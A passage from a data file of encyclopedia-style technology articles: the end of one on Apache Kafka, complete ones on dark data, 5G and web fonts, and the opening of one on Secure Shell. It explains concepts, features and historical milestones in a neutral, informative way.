*Order Validated* topic. A payment service is a consumer of this topic. It processes the payment and sends a message to the *Payment Processed* topic. Others services who are consumers of this topic continue the workflow. Due to Kafka's decoupling, each service does its work without even being aware of other services. \n\nKafka has better throughput, built-in partitioning, replication, and fault-tolerance when compared to other message broker solutions in the market. This makes Apache Kafka an ideal solution for large-scale message processing applications. \n\n\n### How is Kafka used in the context of storage?\n\nKafka is different from traditional messaging systems, where the messages get deleted once consumed by the consumers. Kafka can be configured to store the messages in the Kafka broker for a particular period. Theoretically, this retention period can be set to retain the data forever. \n\nHowever, Kafka can't be used as a traditional database as its core library lacks support for random data lookup based on joins or `where` conditions. However, **ksqlDB**, a library in the Kafka ecosystem, gives the developer the ability to build event streaming applications by leveraging the familiarity with relational databases. \n\n\n### Could you list a few companies that use Kafka and their respective use cases?\n\nThe following information is sourced from Apache's Confluence page: \n\n    + **LinkedIn**: Kafka is applied for streaming user activity data and operational metrics. LinkedIn Newsfeed and LinkedIn Today are two products that use this.\n    + **DataSift**: Kafka is used as a collector to monitor events and as a tracker of users’ consumption of data streams in real time.\n    + **Simple**: Kafka is used for log aggregation and to power their analytics infrastructure.\n    + **Foursquare**: Kafka powers online-to-online and online-to-offline messaging. It's used to integrate Foursquare's monitoring and production systems with Foursquare's Hadoop-based offline infrastructures.\n    + **SocialTwist**: Kafka is used in SocialTwist as part of their reliable email queueing system.\n    + **Hotels.com**: Hotels.com uses Kafka to collect real-time events from multiple sources and sends them to HDFS.\n    + **Cisco**: At Cisco, Kafka is used as part of their OpenSOC (Open Security Operations Center) project.\n\n### What are the ways to interact with Kafka?\n\nA developer can interact with Kafka via command-line scripts or APIs.\n\nCommand-line scripts are used to: \n\n    + Make ad hoc requests to a Kafka cluster such as starting up a Kafka service, creating topics in Kafka brokers, etc.\n    + Perform list operations such as listing the topics or the consumer groups created in the cluster, etc.\n    + Monitor consumer group lags or offsets of each partition in a Kafka topic\n    + Produce messages to a topic and consume messages from a topicKafka offers the following core APIs with which developers can build their client applications: \n\n    + The Producer API allows applications to send messages to topics in the Kafka cluster\n    + The Consumer API allows applications to consume messages from topics in the Kafka cluster\n    + The Streams API allows transforming messages from one topic to another\n    + The Connect API allows implementing connectors to pull from some source system into Kafka or push from Kafka into some sink system\n    + The Admin API allows managing and examining topics, brokers, and other Kafka entities\n\n### What are some key components in Apache Kafka ecosystem?\n\nThe ecosystem around Apache Kafka is quite vast. There are plenty of libraries and frameworks to help developers integrate third-party software, log and monitor clusters, collect metrics, and distribute or package solutions. We mention key ones that help in creating enterprise-level solutions:\n\n    + **Kafka Connect**: Streams or batch transfers data to and from Kafka, with ready-to-use connectors.\n    + **Kafka Streams**: A client library for creating applications and microservices, where the input and output data are persisted in a Kafka cluster.\n    + **Schema Registry**: Persists the schema structure of an event that is pushed to and consumed from a topic. Helps to validate the events against the registered schema.\n    + **Kafka REST Proxy**: Offers a RESTful interface to a Kafka cluster. It facilitates another way with which the applications can interact with the Kafka cluster without using the Kafka client libraries or Kafka's native protocol.\n\n### Could you describe some specific features of Kafka?\n\n**Replication** in Kafka assures that the events will be published and consumed even in the case of broker failure by maintaining specified number of copies of data across various brokers in the Kafka cluster. The unit of replication is the partition. The replication factor configuration is set on a topic level. Kafka replication feature has been available since Kafka version 0.8.0. \n\n**Retention** happens at Kafka brokers, which are configured with a default retention period per topic. The default is 7 days. It can be set using the topic-level config token `retention.ms`. The admin can also configure it by size (in bytes) using the topic-level config token `retention.bytes`. Once these limits are reached, the corresponding events are expired and deleted. However, the developers or Kafka admin can choose **Log Compaction** by setting the token `log.cleanup.policy = compact`. This tells Kafka to retain only the last message produced for each message key in a topic. This can be useful for changelog type of data, where we need to retain only the last update.\n\n## Milestones\n\nJan  \n2011\n\nKafka is **open sourced by LinkedIn**. \n\nJul  \n2011\n\nKafka project enters **Apache Incubation** state. In October 2012, Kafka graduates from Apache Incubator. \n\nDec  \n2013\n\nApache Kafka v0.8.0 is released. In addition to bug fixes and other improvements, this adds a key feature called **intra-cluster replication support**. Also for the first time, the Kafka release JAR file gets published to a public Maven repository so that developers can conveniently download and use the software. \n\nNov  \n2014\n\nKey engineers who built Kafka at LinkedIn announce the formation of a new company called *Confluent* with a focus on Apache Kafka. \n\nFeb  \n2015\n\nApache Kafka v0.8.2.0 is released. This includes **in-built consumer offset management**. This release also includes other improvements and bug fixes. \n\nNov  \n2017\n\nApache Kafka v1.0.0 is released. The first full version number indicates that Kafka is **ready for enterprise adoption**. \n\nJul  \n2018\n\nApache Kafka v2.0.0 is released. Major improvements are in the areas of security, stability and reliability. \n\nDec  \n2019\n\nApache Kafka v2.4.0 is released. This includes an upgraded version of MirrorMaker, **MirrorMaker 2.0**. This is a new multi-cluster, cross-datacenter replication engine. \n\nAug  \n2020\n\nApache Kafka v2.6.0 is released. This improves the performance of brokers dealing with large number of partitions. New monitoring metrics provide better operational insights. This release also includes other improvements and bug fixes. \n\nJan  \n2022\n\nApache Kafka releases v3.1.0. Among the new features are support for Java 17, extending SASL/OAUTHBEARER with support for OIDC, addition of new broker count metrics, and support for the usage of custom partitioners in foreign-key joins. Eager rebalance protocol is deprecated. \n\nOct  \n2022\n\nApache Kafka releases v3.3.0. **KRaft mode** becomes production ready in this release. KRaft allows Kafka to self-manage metadata without relying on Apache ZooKeeper. KRaft mode was first previewed in Kafka v3.0. ZooKeeper is deprecated in Kafka v3.5 (April 2023). It will removed in v4.0 (2024).","meta":{"title":"Apache Kafka","href":"apache-kafka"}}
{"text":"# Dark Data\n\n## Summary\n\n\nOrganizations typically collect, process and store lots of information in the normal course of their operations. A lot of this is done simply for compliance purposes. However, the same data could be useful to plan product roadmaps, aid business decisions or optimize operations. This is possible today due to modern techniques of machine learning and data analytics. \n\n**Dark data** is simply data that's available to organizations but not being used. The term \"dark\" does not refer to something evil or illegal. Nor is it specifically about security or privacy. Rather, it's about data that's hidden from view, easy to ignore, and hard to access or analyse.\n\nIn physics, we know that dark matter comprises most of the universe. Similarly, dark data is lot bigger than data that organizations typically analyse to aid decision making.\n\n## Discussion\n\n### Could you explain dark data with some examples?\n\nConsider a banking application for credit card approval. The focus is on customer information and eligibility. However, how the user arrived at the online form could be useful information. This data is available but is not used. \n\nIn medical domain, paper records are digitized. These are used by doctors. Since they're are stored as scanned images, information retrieval or analysis systems ignore them. \n\nAnother example is when a business acquires users or gathers feedback via different channels. Call centre logs are captured as audio files whereas website visits are captured as web server logs. This is another source of dark data when new insights are inaccessible just because data sources exist independently and can't be easily combined. \n\nConsider an Accounts Payable department. Dark data could include overviews in the ERP system, previous transactions, account history, CRM information, and so on. This data is not just unused but also presents a risk due to its sensitive and confidential nature. \n\n\n### What are the different types or sources of dark data?\n\nDark data is different in each industry. Some categories of dark data include customer information, ex-employee information, log files, survey data, financial statements, notes, presentations, emails, email attachments, inactive databases, old versions of documents, call-centre transcripts, customer reviews, etc. \n\nDark data has come about because organizations realize that data is valuable and storage is cheap. So they end up storing lots of it without using them properly. Data lakes and their associated technologies help store large volumes of multiformat data. \n\nAn important reason for dark data is big data. Big data's traits (volume, variety and velocity) make it difficult for organizations to process it. So they store it and defer the processing until later. From this perspective, the term \"dusty data\" has been used. \n\nWhere credibility of data is essential, data that can't be traced to its source won't be used for analysis. \n\n\n### How does dark data differ from unstructured data?\n\nOften dark data is unstructured because unstructured data is harder to analyse. Unstructured data \"becomes dark\" when organizations don't have the know-how to analyse them and obtain insights. \n\nHowever, structured data can also be part of dark data. For example, two structured datasets might exist independently in their own silos. If they were to be combined, new insights could be obtained. Combining two datasets might not be trivial, particularly when they exist in different formats, stored in different systems or controlled by different teams. \n\nIn general, dark data can be structured or unstructured but they share some common characteristics. Data might be redundant, obsolete or trivial. This view expands the definition of what's dark data. It's not just valuable data that's not used but includes useless data that's simply taking up storage space. \n\n\n### How can I make use of or analyse dark data?\n\nThose who manage dark data should regularly do audits and attempt to structure the data. You may decide not to dump dark data but it should be encrypted and stored in a secure manner. For unstructured data, at least attach metadata labels that so they can be easier to find for future analysis. Classify or organize data in a single repository so that users can find them faster. \n\nBefore dark data can throw up insights, you have to ask the right questions, questions that are relevant to your business. The question could be about 'What' or 'Why'. Each type of question might need a different approach. \n\nTools to work with dark data include DeepDive, Snorkel, and Dark Vision. Docugami is a company that's looking at ways to enable computers to understand documents written by and for humans. They call the problem \"document dysfunction\". \n\nAny effort to use dark data manually will be almost impossible. Automation is the key. Robotic Process Automation (RPA) can be enhanced with cognitive abilities to understand dark data. \n\n## Milestones\n\nJul  \n2012\n\nA researcher at Gartner mentions the term *Dark Data* in a blog post. This may well be the first mention of the term. He notes that dark data is stored \"just in case it might come in handy\" at a later point. To get any value out of dark data, it's important that business users ask the right questions. In subsequent literature, Gartner is credited with coining the term. \n\nMar  \n2013\n\nGartner Research publishes a report titled *Innovation Insight: File Analysis Innovation Delivers an Understanding of Unstructured Dark Data*. Two months later, Gartner publishes a separate article on *Dark Data* in its online glossary of information technology terms. \n\n2015\n\nIBM reports that 90% of IoT sensor data is not used. Moreover, 60% of this data loses its value within milliseconds. Technologies that allow us to process this data in almost real time is therefore critical. If not, we end up with dark data. \n\n2016\n\nA study by Veritas involving 22 countries shows that 52% of all data collected by organizations is dark. They say it's data \"beneath the line of sight of senior management\". \n\nJan  \n2017\n\nChan Zuckerberg Initiative (CZI) acquires **Meta**, which is a search engine focused on scientific literature. This is an effort to unlock the value in dark data. \n\nMay  \n2017\n\nApple acquires **Lattice Data** that specializes in dark data. Lattice Data commercialized DeepDive, a tool developed at Stanford University. DeepDive uses machine learning to convert dark data into structured data that can be combined within existing structured data sources. DeepDive extracts relationships and makes inferences. It's development can be traced back to 2014. \n\n2018\n\nSome folks extend the definition of dark data to include data that's hidden behind firewalls or not accessible by search engines. Thus, dark data includes data from the deep web as well.","meta":{"title":"Dark Data","href":"dark-data"}}
{"text":"# 5G Technology\n\n## Summary\n\n\n5G is next big evolution in cellular networks from its previous technologies of LTE, UMTS, and GSM. 5G is simply named as 5G, unlike 4G aka LTE, or 2G aka GSM. 5G offers very high throughput with ultra-low latency and more connected devices. With these new capabilities, 5G can support diverse applications including AR/VR, IoT, autonomous driving, 4K streaming, and more. \n\nMillimeter Wave, Small Cells, Massive MIMO, Beamforming, and Full Duplex are the foundations of 5G. Major changes seen in 5G architecture is with network elements, signal processing, interfaces between network elements, and protocol stack. 5G also migrates from traditional telecom-style protocol interfaces to a *Service-Based Architecture (SBA)* that uses web services and APIs. \n\n5G was first standardized in 3GPP Release 15 specifications (2018). First commercial 5G networks were launched in April 2019.\n\n## Discussion\n\n### What are the key features or capabilities of 5G?\n\nA comparison of 5G with 4G is insightful into what 5G has to offer. 5G improves on 4G in terms of latency (1 ms vs 10-50 ms), throughput (20 vs 2 Gbps), spectral efficiency (100 vs 30 bps/Hz), density (1M vs 100K conns/km²), traffic capacity (1000 Mbps/m² vs 10 Mbps/m²), and network energy efficiency (15% savings). \n\nAnother source lists 5G capabilities as promising up to 10 Gbps in data rate; 1 millisecond latency; 1000x bandwidth per unit area; 100x device density compared to 4G; 99.999% availability; 100% coverage; 90% energy savings; and up to 10-year battery life for low-power IoT devices. \n\n\n### How is 5G technology able to promise 1000x data throughput?\n\nCapacity in cellular systems is the number of bits that can be carried per second per unit area within a given spectrum. It's dimensions are bits/s/km². In general, capacity is composed of three parts: **cell density**, **spectral efficiency** and **available spectrum**. 5G improves capacity by improving each of these parts. Back in 2011, Nokia proposed to achieve 1000x by improving each part by 10x. In 2012, SK Telecom proposed improvements in the order of 56x, 6x and 3x. \n\nCell density can be increased provided interference is managed. Spectral efficiency can be improved by using an array of antennas so that all users in a cell can be sending/receiving at the same time using narrowly focused beams. This is what *Massive MIMO* is all about. Finally, more spectrum can be obtained if we go to millimeter waves, usually in the range of 30-300 GHz. However, this requires new hardware and signal propagation is limited. \n\n\n### What are the main techniques that make 5G possible?\n\nWe note the following technical foundations of 5G: \n\n    + **Millimeter Wave**: This refers to spectrum bands above 24 GHz. The abundant spectrum available at these high frequencies is capable of delivering extreme data speeds and capacity that will reshape the mobile experience.\n    + **Massive MIMO** : Uses large antenna arrays at base stations to simultaneously serve many autonomous terminals. The rich and unique propagation signatures of the terminals are exploited with smart processing at the array.\n    + **Beamforming** : Beamforming is a type of RF management in which an access point uses multiple antennas to send out the same signal. It ensures efficient data-delivery route to a user and reduces interference to other users. Along with massive MIMO, beamforming improves spectrum efficiency and capacity.\n    + **Full Duplex** : This allow us to transmit and receive on same channel. Benefits include more spectrum efficiency, symmetric fading characteristics, better filtering, novel relay solutions and enhanced interference coordination.\n    + **Small Cell** : Small cells are low-power miniature base stations. They operate in licensed or unlicensed spectrum, based on cellular technologies or Wi-Fi. Small cells can help 5G achieve 1000x throughput.\n\n### What are some use cases and applications of 5G?\n\nITU has identified three main categories of 5G applications based on performance attributes: \n\n    + **Enhanced Mobile Broadband (eMBB)**: Enables large volumes of data transfer and extreme data rates. Applies to mobile phones, tablets and laptops. Covers human-centric use cases.\n    + **Massive Machine Type Communications (mMTC)**: Also called *Critical Machine Type Communications (cMTC)*. In the context of IoT and machine communications, this serves massive number of devices of low complexity and bandwidth that send small amounts of data. Good coverage is important. Serves low-cost battery-powered sensors, meters, actuators, trackers, and wearables.\n    + **Ultra-Reliable Low Latency Communications (URLLC)**: Like mMTC, this is also machine-centric but with a focus on reliability and latency. Applications include AR/VR, advanced wearables, autonomous vehicles, real-time industrial control, and more.We can also visualize the above applications mapped to a 3D vector space defined in terms of throughput, delay and density. For example, smart sensors would require high density, tolerable delay and only low throughput. Interactive HD TV would require good throughput, delay and density. Thus, there are many use cases that are a hybrid of the above categories. \n\n\n### Could you give an overview of the 5G architecture?\n\n**Next Generation Radio Access Network (NG-RAN)** consists of gNB and ng-eNB. *gNB* serves a 5G UE over 5G New Radio (NR), a new air interface developed for 5G. gNB connects to 5G Core, though some can connect to 4G EPC as well. *ng-eNB* connects to 5G Core but serves a 5G UE over 4G radio. \n\n5G NR brings performance, flexibility, scalability and efficiency to spectrum usage. Spectrum includes low-band (600 MHz), mid-band (3-5 GHz), and high-band (24-86 GHz) regions. \n\n**5G Core (5GC)** adopts a service-based architecture consisting of many interconnected *Network Functions (NFs)*. Rather than use fixed network elements, all of these can be virtualized in the cloud. Via *Network Slicing*, many virtual networks with different characteristics can reside on the same physical nodes. Automation, programmability, flexibility and interoperability come from this architecture. \n\n5GC control plane includes AMF (Access and Mobility Management Function) and SMF (Session Management Function). 5G user plane includes UPF (User Plane Function). 5GC implements *Control and User Plane Separation (CUPS)*. This enables it to centralize control plane functions while distributing user planes functions closer to users for better performance. \n\n\n### What are some common criticisms of 5G?\n\nTo obtain 1Gbps and 1ms performance, we need mmWave 5G. However, at this spectrum, range is limited. Users will get this performance in limited locations within urban areas. Coverage will be spotty. To counteract this, operators may need to install lots of small cells. 5G rollout will come at a high cost, some of which may be passed on to subscribers. New masts, antennas and smartphones will be needed. Batteries may need to be recharged more often. In rural areas, low-band 5G can give better coverage than 4G but can't offer peak 5G performance. \n\nWith increase data rates and integration with IoT devices, 5G poses a data security risk. With many more connected devices, greater use of cloud and virtualization the attack surface increases. \n\nThere have also been hoax theories concerning 5G. This has resulted in some groups distrusting 5G and even damaging 5G infrastructure. In 2020, 5G was linked to the coronavirus pandemic. The use of mmWave spectrum has been linked to cancer. However, it's known that only ionizing radiation at a much higher spectrum (Gamma rays and X-rays) is harmful.  \n\n## Milestones\n\nMar  \n2012\n\nHuawei introduces the concept of \"Beyond LTE\". Meanwhile, at the initiative of the EU project METIS, a few organizations across the world start discussions on what should follow 4G/LTE networks. These discussions (2012-2014) lead to the first discussions within 3GPP in 2015. \n\nMay  \n2013\n\nAt 26GHz, **Samsung demos a prototype system** that achieves 1Gbps data rate. From 2013-2015, many more demos follow from Samsung, Ericsson, Nokia, Qualcomm, and others. The intent is to prove the feasibility of technologies that could be used in 5G, including the use of mmWave spectrum. In August 2015, FCC promotes five blocks of mmWave spectrum. \n\nMar  \n2017\n\n3GPP begins the **standardization of 5G**. However, some requirements concerning Machine Type Communications (MTC) were already completed in earlier standardized features, namely LTE-M and NB-IoT. These were part of Release 13 (2016) and Release 14 (2017). \n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of Release 15. Specifically, it ratifies **Non-Standalone (NSA) 5G New Radio (NR)** specification. This enables vendors to start implementing the first 5G products. NSA 5G will allow operators to leverage existing 4G infrastructure. However, it can't support some use cases that require ultra-low latency and higher capacity. \n\nJun  \n2018\n\nAlso part of Release 15, and called \"main drop\", 3GPP approves many specifications for 5G including the **Standalone (SA)** option. This allows operators without 4G networks to offer 5G service. \n\nMar  \n2019\n\n3GPP approves \"late drop\" of Release 15. This might aid in migrating from 4G to 5G, or NSA 5G to SA 5G. However, some vendors and operators don't see this as essential since Release 16 or 17 specifications could offer alternatives.  \n\nApr  \n2019\n\nSouth Korean carriers SK Telecom and KT Corp become the first operators to launch the **world's first commercial 5G service**. Within an hour later, Verizon launches its own 5G service in the US in Chicago and Minneapolis. Though trials and limited deployments for enterprises happened in 2018, this is the first time 5G commercial networks connect to 5G smartphones. 5G smartphones used in these deployments are Samsung Galaxy S10 5G and Motorola's Moto Z3 with 5G Mod. \n\nJan  \n2020\n\nTests by OpenSignal shows Verizon delivering about 700Mbps download speeds in city downtown areas. In low-band 5G, AT&T and T-Mobile achieve speeds of about 60Mbps and 50Mbps respectively. This is better than what 4G can offer for rural areas. In another study from February to April, OpenSignal finds 5G giving better download speeds compared to 4G. This study included networks in the US, UK, South Korea and Australia. \n\nMar  \n2020\n\nThis year sees some **hoax theories** to discredit 5G. 5G is blamed for the coronavirus pandemic, either causing the pandemic, accelerating the spread of the virus or worsening the symptoms. In another incident, mass death of birds in Netherlands is blamed on 5G. Subsequent reports show that this is fake news. The birds died in another place and time due to other causes. \n\nJun  \n2020\n\nThere are now more than 35 countries with 5G service, with claims of faster rollout and adoption compared to 4G. Globally, there are now 114 commercial networks serving nearly **138 million 5G subscribers**. By August, **190 commercial 5G devices** are available in the market. In October, Apple announces **iPhone 12** models with support for 5G. \n\nJul  \n2020\n\n3GPP finalizes **Release 16** specifications. This adds support for unlicensed spectrum. It improves on latency, power consumption, positioning and cellular-to-vehicle connectivity. Existing features enhanced by Release 16 include MIMO, beamforming, Dynamic Spectrum Sharing (DSS), Dual Connectivity (DC) and Carrier Aggregation (CA). \n\n2022\n\n3GPP **Release 17** specifications is expected to come out in 2022. It would impact all three use case families: eMBB, URLLC and mMTC. The focus will be on supporting growing traffic requirements, plus customizing NR for specific verticals such as automotive, logistics, public safety, media and manufacturing. \n\n2023\n\nFirst specifications of **5G Advanced** are expected to be released in 2023, with standardization work commencing in 2022. 5G Advanced will span releases 18, 19, 20 and 21.","meta":{"title":"5G Technology","href":"5g-technology"}}
{"text":"# Web Font\n\n## Summary\n\n\nWeb designers often wish to be creative with typography, which really means that they wish to use non-standard and even custom-designed fonts to convey their message in a particular way. Web font enables them to achieve this by allowing web pages to link to and download fonts on the web. Previously designers were limited by a few fonts installed on a user's computer. This is no longer the case with web fonts. \n\nThe format of font files (WOFF, WOFF2, and more) and how browsers behave while fonts are being download are some aspects that are standardized by W3C. In CSS3, these details are specified in the *CSS Fonts Module Level 4* document. \n\nSince their introduction in 2009, web fonts have gained tremendous popularity. Hundreds, if not thousands, of fonts are available at the disposal of web designers.\n\n## Discussion\n\n### What's the need for web fonts?\n\nHistorically, web pages could be rendered only in **system fonts**, that is, fonts installed on the user's computer. This meant that even if a web designer chose to use a certain font there was no guarantee that the user would view the content in that font. \n\nCSS `font-family` property accounted for this by providing fallback fonts. Consider the CSS rule `font-family: Helvetica, \"Trebuchet MS\", Verdana, sans-serif;`. The browser looks for Helvetica font. If not found, it looks for Trebuchet MS, and so on. Thus, text would be rendered but not necessarily in the designer's preferred font of Helvetica. \n\nThe web community attempted to address by creating a list of **web-safe fonts**. These are fonts that are likely to be available on most computers. Designers who used only these fonts could achieve consistent styling regardless of the device. Arial or Helvetica, Times New Roman or Times, Courier New or Courier are web safe. More web safe fonts include Verdana, Georgia, Palatino, Garamond, Bookman, and Avant Garde. \n\nHowever, the list of web-safe fonts is still small. This is where web fonts become relevant.\n\n\n### Which are some web services offering downloadable web fonts?\n\nMany web font services are available, offering a mix of free and paid fonts: Google Fonts, The League of Movable Type, Font Fabric, Lost Type Co-op, Font Squirrel, Font Spring, MyFonts, dafont, Typekit, Fontdeck, Webtype, Open Font Library, FontSpace, Befonts, Fonts for Web, Adobe Fonts, Fonts.com, and Brick. \n\nSince its launch in 2010, Google Fonts has been popular. Google offers a directory for browsing and downloading fonts. There's also an API that developers can call from CSS stylesheets. This enables browsers to download the specified font when required by a web page. \n\nTypekit was launched in 2009, acquired by Adobe in 2011, and now part of Adobe Fonts. Typotheque, also started in 2009, is an alternative. For commercial fonts, Typotheque issues a license key that's linked with the domains that are meant to use them. This license key is part of the URL when downloading the font. \n\nIcons can also be delivered as web fonts. Font Awesome is a well-known source for icon fonts. \n\n\n### Which are some popular web fonts?\n\nWhile many sites and blogs recommend dozens of web fonts, this list is based on actual downloads as on August 15, 2020.\n\nAn analytics dashboard on Google Fonts shows that top ten downloads (7 days) are for Roboto, Open Sans, Lato, Oswald, Montserrat, Roboto Condensed, Slabo 27px, Source Sans Pro, Raleway, and PT Sans. \n\nOn Font Squirrel, the most downloaded fonts are Open Sans, Montserrat, Roboto, Raleway, Great Vibes, Bebas Neue, Alex Brush, Quicksand, Lato and Pacifico. \n\nFonts.com lists the following all time bestselling web fonts: Neue Helvetica, Proxima Nova, Avenir, Avenir Next, Futura PT, Futura, Helvetica, Univers, Museo Sans and Sofia Pro. \n\nBestselling fonts (30 days) at MyFonts.com are Neue Helvetica, Gilroy, Proxima Nova, Avenir Next, FF DIN, Helvetica, Avenir, Helvetica Now, Milliard, and ITC Avant Garde Gothic. \n\n\n### How can I include a web font for my web page?\n\nHere's an example of using Google Fonts but the approach is similar for other web font services. You can even download the font file and serve it from your own server. \n\nOne method is to link to a CSS file from HTML using the `<link>` tag. This CSS file would contain details of the font including the URL of the actual font files, typically in WOFF or WOFF2 file formats. For example, HTML page points to CSS file `https://fonts.googleapis.com/css?family=Tangerine`, which contains the URL `https://fonts.gstatic.com/s/tangerine/v11/IurY6Y5j_oScZZow4VOxCZZM.woff2`. \n\nAn alternative is to download the web font from within another CSS file or within a `<style>` tag using `@import https://fonts.googleapis.com/css?family=Tangerine;`. \n\nText can be styled in CSS to use the web font, such as, `body { font-family: 'Tangerine', serif; }`. This can in HTML within a `<style>` tag or part of a separate CSS file. \n\n\n### How do I use the CSS property \"font-display\" for web fonts?\n\nWithin the `@font-face` CSS rule, `font-display` property is applicable. It takes these values: \n\n    + `auto`: Default. Allows browser to apply its own default. Often similar to `block`.\n    + `block`: Text is hidden until the font is loaded. This results in Flash of Invisible Text (FOIT).\n    + `swap`: Tells browser to use a fallback until font is loaded. This results in Flash of Unstyled Text (FOUT).\n    + `fallback`: A compromise between `auto` and `swap`. Browser will hide text for a while and use fallback if the download is taking longer. If download takes too long, browser will stay with fallback.\n    + `optional`: Like `fallback` but browser may ignore the font on slow connections.Among web designers, neither FOIT nor FOUT is satisfactory. FOIT is closer to the original design but users have to wait longer to read the content. With FOUT, users can read the content earlier but with a different user experience. In any case, with `font-display` designers get to choose. \n\nA related behaviour is Flash of Faux Text (FOFT) in which `font-synthesis` is used to render bold/italic variations while the true bold/italics are loaded. \n\n\n### For better performance, what's the best strategy for downloading web fonts?\n\nIt's possible to remove web fonts from the critical path. This could be done by lazy loading them until after the complete document is loaded. However, this only delays the FOIT that happens anyway when download is in progress. Hence lazy loading is not recommended. \n\nInstead, it may be better to load web fonts in advance via preloading, as in `<link rel=\"preload\" href=\"https://fonts.gstatic.com/s/tangerine/v11/IurY6Y5j_oScZZow4VOxCZZM.woff2\" as=\"font\" type=\"font/woff2\" crossorigin=\"anonymous\">`. By the time the font is seen in CSS, it's already loaded. \n\nHowever, preloading should be done with care. Don't preload all web fonts since browser might prioritize font downloads over other downloads. If font resources are coming from external CDN, you might end up downloading old font files when newer ones are used in CSS. Always set `crossorigin=\"anonymous\"` to the `<link>` tag. \n\nIf the user's system already has the font, there's no need to download it from the web. This can be specified in `@font-face` by putting `local('fontname')` before the font URL for the `src` property. It's also best to put `@font-face` rules before any `<script>` tags. \n\n\n### Are there any best practices when working with web fonts?\n\nSet HTTP headers correctly so that the font is cached at the browser. Avoid using localStorage or IndexDB since have their own performance issues. \n\nSince web fonts take up bandwidth, a good design should probably stick to just two fonts, one for heading and one for the body. Even within each font, **subset** the characters and load only those characters needed for the design. Some sites such as IcoMoon allow designers to create custom font files by picking only what you need from other fonts.\n\n## Milestones\n\n1996\n\nMicrosoft starts *Core Fonts for the Web* project. This creates a pack of TrueType fonts consisting of Andalé Mono, Arial, Arial Black, Comic Sans MS, Courier New, Georgia, Impact, Times New Roman, Trebuchet MS, Verdana and Webdings. In subsequent years, these fonts are distributed by default on Windows and Macintosh. Web designers can now use these fonts and have some assurance that they would be available on user systems. However, later operating systems (Android, Ubuntu, iOS) and even some versions of Mac OS don't include all the fonts. \n\n1998\n\nCSS2 is released. It includes `@font-face` that enables developers to link to a font file on the web that browsers can download. Thus, web designers are no longer limited to a few fonts installed on computers or supported by browsers. But there's no consensus on the font format. Netscape uses a close-source format called TrueDoc. Microsoft uses Embedded OpenType (EOT) that also supports encryption. Ultimately, licensing issues come in the way of widespread adoption of web-based fonts.  \n\n2005\n\nBased on JavaScript and Adobe Flash, **sIFR (Scalable Inman Flash Replacement)** is released. Designers could now replace text elements with Flash-based dynamic fonts. For example, headings and menus could be styled differently. Unlike replacing text with an image (some users might disable images), the text remains visible. If Flash is not installed on the browser, the browser falls back to a system font. \n\n2008\n\nBeta version of Safari 4 supports TrueType fonts with `@font-face`. Beta version of Firefox 3.1 supports both TrueType and OpenType. While this enables better typography on the web, there's continuing concern about font piracy. \n\nMay  \n2009\n\nSmall Batch, a company in San Francisco, announces the **Typekit** project. It proposes a font delivery mechanism in which the font is delivered in subsets across multiple files that can only be reassembled by Typekit's JavaScript code. This brings protection against font piracy. In November, Typekit is launched as a subscription-based service for designers and developers. Meanwhile, in October 2009, **Typotheque** launches a similar service and releases an API in November. \n\nJul  \n2010\n\nW3C releases the first draft of the **WOFF file format**, which is a more optimized way to deliver fonts to browsers. It basically compresses other font formats. Traditional font formats such as TrueType, OpenType and Open Font Format can be compressed to WOFF. It's not an installable font format. Rather, it can be used with `@font-face` CSS declaration. The WOFF format itself was developed in 2009. This draft becomes a W3C Recommendation in December 2012. \n\nNov  \n2010\n\nGoogle reports that it's **Google Font API** currently serves 17 million requests per day, and growing at 30% every month. Likewise, Typekit is seeing 400 million font views per month. Typekit notes equal interest for commercial as well as free and open source fonts. However, there's more work to be done for browser/device support for complex scripts such as Arabic.  \n\n2011\n\nBy this year, almost every major browser starts supporting WOFF, bringing true **cross-browser compatibility**. This is good news for font creators and web designers, who start using web fonts in their web designs. \n\nMay  \n2014\n\nW3C releases the first working draft of **WOFF 2.0**. It offers 10-40% better compression than WOFF 1.0. It becomes a W3C Recommendation in March 2018. \n\nFeb  \n2015\n\nTo address the problem of Flash of Invisible Text (FOIT), Jehl explores a method of embedding fonts directly within `@font-face` as **data URIs**. This indeed mitigates the problem but FOIT persists during a short interval when a slow device is processing the data URI. With the new **font events API**, Jehl shows how FOIT can be completely eliminated. \n\nJul  \n2017\n\nW3C releases the first public working draft of *CSS Fonts Module Level 4*. This mentions `font-display` property of `@font-face`. This aims to give back control to web designers and developers. Previously browsers would determine how best to render text when fonts are downloading. \n\nJul  \n2020\n\nW3C celebrates the 10th anniversary of the publication of the first draft of WOFF. WOFF, and web fonts in general, have transformed the way brands communicate with their customers. They've literally changed the *face* of the web. However, it's also noted that in some countries such as China they haven't been that popular. \n\nAug  \n2020\n\nReports at HTTP Archive show that on desktops the median download size of all font requests for a web page is about 128KB. Median number of font requests is 5. Similar numbers for mobile are 108KB and 4 requests. These numbers are for file extensions eot, ttf, woff, woff2, or otf, or MIME type containing `font`. On mobiles, 24.2% of pages avoid FOIT by using `font-display` property.","meta":{"title":"Web Font","href":"web-font"}}
{"text":"# Secure Shell\n\n## Summary\n\n\nIn computer networking, there's a need to log into a remote computer. Historically, this was done using *telnet* (since late 1960s) and *rlogin* (since 1980s). However, these early programs were not secure. **Secure Shell (SSH)** is a protocol created to address these deficiencies. It basically establishes a secure connection over an insecure network. \n\nSSH adopts a client-server architecture. Client refers to the machine attempting to connect to a remote server. SSH authenticates both the client and the server. It specifies how client and server can agree on a shared secret for subsequent encryption of packets. Finally, it also provides data integrity protection. \n\nSSH has two versions: SSH-1 and SSH-2. SSH-2 was standardized by the IETF. \n\nSSH has wide adoption. Modern operating systems come with built-in SSH clients.  OpenSSH is a popular open source implementation. Commercial implementations are also available.\n\n## Discussion\n\n### What are the applications of SSH?\n\nA common application of SSH is to **remote login**. In the early days of computer networking, trusted users within a corporate or university network had access to mainframes. For such trusted users, `telnet` was good enough. As networking expanded to WANs and the Internet, there was a need for a more secure protocol. This is what SSH provides. Once remotely logged into a computer, the user can execute programs via a terminal. \n\n**Port forwarding** or **SSH tunnelling** is another useful application of SSH. TCP/IP traffic is encrypted and tunnelled through an SSH connection. This is also useful to bypass firewalls. Telnet, SMTP, NNTP, IMAP and other insecure protocols can be tunnelled through SSH. X forwarding is a special case of port forwarding. \n\nSSH can be used to **transfer or copy files** via SFTP and SCP. SSH can automate server access and therefore enables process automation by cloud-based services. SSH keys can also offer Single Sign-On (SSO) so that users need not repeatedly type passwords. \n\n\n### What are main features of SSH?\n\nSSH has the following main features or purposes: \n\n    + **Authentication**: Client can authenticate the server and vice versa. Algorithms include RSA and DSA (such as Ed25519 and Ed448).\n    + **Key Exchange**: Client and server agree 